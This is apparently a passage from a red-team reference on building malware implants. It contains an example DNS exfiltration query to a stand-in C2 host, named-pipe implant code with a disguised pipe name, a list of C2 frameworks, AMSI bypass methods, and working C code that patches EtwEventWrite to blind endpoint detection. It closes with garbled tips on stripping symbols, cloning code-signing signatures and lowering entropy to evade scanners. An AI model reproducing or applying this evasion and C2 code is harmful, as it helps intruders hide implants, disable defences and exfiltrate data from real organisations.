print(q) # 0.orsxg5bamnqxk4y.data.c2.evil.com
# Implant sends: nslookup -type=TXT <query>
# C2 authoritative NS receives and reassembles
Named pipes provide peer-to-peer communication between implants on the same network, especially useful for lateral movement. A parent beacon on an internet-connected host relays traffic to child implants that communicate only via SMB named pipes. This keeps internal implants off the wire and reduces the number of hosts that beacon externally.
// P2P communication via named pipes
// Server (implant)
var server = new NamedPipeServerStream(
"msupdate_pipe",
PipeDirection.InOut,
1,
PipeTransmissionMode.Byte,
PipeOptions.Asynchronous);
server.WaitForConnection();
// Client (operator)
var client = new NamedPipeClientStream(
"targethost",
"msupdate_pipe",
PipeDirection.InOut);
client.Connect(5000);
| Framework | Language | Protocol | License |
|---|---|---|---|
| Cobalt Strike | Java/C | HTTPS, DNS, SMB | Commercial |
| Sliver | Go | mTLS, HTTP(S), DNS, WG | Open source |
| Havoc | C/C++ | HTTP(S), SMB | Open source |
| Mythic | Python/Go | HTTP(S), custom | Open source |
| Brute Ratel | C/C++ | HTTP(S), DNS, SMB | Commercial |
| Covenant | C# | HTTP(S) | Open source |
| PoshC2 | Python/PS | HTTP(S) | Open source |
| Merlin | Go | HTTP/2, HTTP/3 | Open source |
The Antimalware Scan Interface (AMSI) scans PowerShell, .NET assemblies, VBScript, and JScript at runtime. Any in-memory payload loaded via these runtimes will be scanned before execution. Bypassing AMSI is a prerequisite for running unobfuscated .NET implants or PowerShell cradles.
Common techniques: patching amsi.dll!AmsiScanBuffer in memory, forcing an error return, hardware breakpoint hooking, and CLR-level bypass via reflection.
For detailed bypass techniques and code, see AMSI Bypass.
Event Tracing for Windows (ETW) feeds telemetry to EDR products. Patching ntdll!EtwEventWrite to return immediately (xor eax, eax; ret) blinds the EDR to .NET assembly loads, syscall traces, and threat intelligence events. Combine with AMSI bypass for full coverage.
// Patch EtwEventWrite to disable ETW
void PatchEtw() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(pEtw, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax; ret (return STATUS_SUCCESS)
memcpy(pEtw, "\x33\xc0\xc3", 3);
VirtualProtect(pEtw, 4, oldProtect, &oldProtect);
}
For more AMSI and ETW bypass methods, see AMSI Bypass and EDR Evasion.
Understanding the PE (Portable Executable) format is essential for writing loaders, packers, reflective DLL injection, and manual mapping. Key structures: DOS header, NT headers (signature + file header + optional header), section headers (.text, .rdata, .data, .rsrc, .reloc), and the data directories (imports, exports, relocations, TLS).
For detailed PE structure reference, see Windows Internals.
| Compiler | Command | Target |
|---|---|---|
| MSVC | cl /O2 /MT loader.c |
Native Windows, static CRT |
| MinGW-w64 | x86_64-w64-mingw32-gcc -o loader.exe loader.c |
Linux to Windows cross-compile |
| Rust | cargo build --release --target x86_64-pc-windows-msvc |
Windows MSVC toolchain |
| Rust (GNU) | cargo build --release --target x86_64-pc-windows-gnu |
Windows via MinGW |
| Go | GOOS=windows GOARCH=amd64 go build |
Cross-compile to Windows |
| Nim | nim c -d:release --app:gui -d:mingw loader.nim |
Nim to Windows |
/MT in MSVC, -static in GCC) avoids runtime DLL dependencies that may be missing on targetsstrip or /DEBUG:NONE) to remove function names from the binary/GS-) to reduce binary size and remove stack cookies (not needed for implants)sigthief or CarbonCopy to clone Authenticode signatures from legitimate binariesLimelighter or append large low-entropy sections to reduce overall file entropy below detection thresholds